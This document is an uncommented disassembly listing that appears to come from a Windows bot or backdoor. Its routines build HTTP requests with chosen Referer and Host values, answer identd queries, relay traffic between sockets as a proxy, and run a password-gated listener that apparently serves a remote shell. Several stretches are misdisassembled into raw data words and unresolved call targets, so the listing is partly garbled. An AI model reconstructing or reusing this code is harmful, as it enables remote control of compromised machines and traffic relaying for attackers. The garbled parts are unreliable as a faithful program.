arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAEE4
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F94
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F50
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_433FFC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 6DE8h
; ---------------------------------------------------------------------------
		jmp	dword ptr [edi]
; ---------------------------------------------------------------------------
		dw 8B02h
		dd 0C969C44Dh, 234h, 8189C63Bh,	43DEC4h, 75391374h, 63850FD0h
		dd 6AFFFFFFh, 0FDE89032h, 0EB0227FEh, 8C6E8EDh,	50900228h
		dd 433FC068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434084
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_434044
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2DF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_43415C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		call	near ptr 26F0000h
		nop


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434120
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_4340F4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26F0000h


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340C8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434188
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341B4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Dh, 410CCBh, 380078E8h, 0C0859002h, 0E8902975h
		dd 2280310h, 42E06850h,	59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 0F522E857h, 5390022Dh
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 2DE89050h, 8B0227F8h, 0C969B84Dh,	234h, 8189C63Bh
		dd 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh, 0BDE89032h
		dd 0EB0227F7h, 85E890EDh, 50022801h, 43422468h,	45CEE800h
		dd 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh, 0FBEC858Dh
		dd 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h, 75C47539h
		dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh
		dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh
		dd 4507E8h, 0FF575900h,	4CB00C15h, 15FF5300h, 4CB00Ch
		dd 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 2DF337E8h
		dd 335B9002h, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_434384
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_434384
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0C3Ch


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2790E39h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_434350
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 26A0C3Ch
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2710BD7h
		nop


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_434434
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_4343F4


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343CC
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


